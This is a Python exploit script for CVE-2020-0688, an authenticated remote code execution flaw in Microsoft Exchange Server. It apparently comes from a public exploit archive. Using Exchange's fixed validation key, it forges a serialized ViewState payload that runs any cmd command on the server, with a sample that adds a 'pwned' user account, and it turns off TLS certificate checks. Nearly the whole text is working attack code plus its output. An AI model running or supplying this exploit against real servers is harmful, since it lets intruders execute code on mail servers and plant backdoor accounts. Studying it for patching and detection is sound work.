# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution # Date: 2020-02-28 # Exploit Author: Photubias # Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 # [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys # Vendor Homepage: https://www.microsoft.com # Version: MS Exchange Server 2010 SP3 up to 2019 CU4 # Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 # CVE: CVE-2020-0688 #! /usr/bin/env python # -*- coding: utf-8 -*- ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2020-0688-Photubias.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This is a native implementation without requirements, written in Python 2. Works equally well on Windows as Linux (as MacOS, probably ;-) Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net Example Output: CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add" [+] Login worked [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 [+] Detected OWA version number 15.2.221.12 [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable! [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== Sending now ... ''' import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass ## STATIC STRINGS # This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations) strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') # This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') def convertInt(iInput, length): return struct.pack("<I" , int(iInput)).encode('hex')[:length] def getYsoserialPayload(sCommand, sSessionId): ## PART1 of the payload to hash strPart1 = strSerTemplate.replace('###payload###', sCommand) ## Fix the length fields #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) strLength1 = convertInt(0x06b8 + len(sCommand),4) strLength2 = convertInt(0x04da + len(sCommand),4) strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] ## PART2 of the payload to hash strPart2 = '274e7bb9' for v in sSessionId: strPart2 += binascii.hexlify(v)+'00' strPart2 = binascii.unhexlify(strPart2) strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) return strResult def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): if not sTarget[-1:] == '/': sTarget += '/' ## Verify Login lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() except: print('[!] Error, ' + sTarget + ' not reachable') bLoggedIn = False for cookie in oCookjar: if cookie.name == 'cadata': bLoggedIn = True if not bLoggedIn: print('[-] Login Wrong, too bad') exit(1) print('[+] Login worked') ## Verify Session ID sSessionId = '' sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() for cookie in oCookjar: if 'SessionId' in cookie.name: sSessionId = cookie.value print('[+] Got ASP.NET Session ID: ' + sSessionId) ## Verify OWA Version sVersion = '' try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2] except: sVersion = 'favicon' if 'favicon' in sVersion: print('[*] Problem, this user has never logged in before (wizard detected)') print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') exit(1) print('[+] Detected OWA version number '+sVersion) ## Verify ViewStateValue sViewState = '' try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0] except: pass if sViewState == 'B97B4E27': print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!') else: print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) ans = raw_input('[?] Still want to try the exploit? [y/N]: ') if ans == '' or ans.lower() == 'n': exit(1) return sSessionId, sTarget, sViewState def main(): parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='') args = parser.parse_args() if args.target == '' or args.username == '' or args.command == '': print('[!] Example usage: ') print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"') else: if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') else: sPassword = args.password ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE oCookjar = cookielib.CookieJar() #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') if ans.lower() == 'n': exit(0) sPayLoad = getYsoserialPayload(args.command, sSessionId) print('[+] Got Payload: ' + sPayLoad) sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) print(' Sending now ...') try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) except urllib2.HTTPError, e: if e.code == '500': print('[+] This probably worked (Error Code 500 received)') if __name__ == "__main__": main()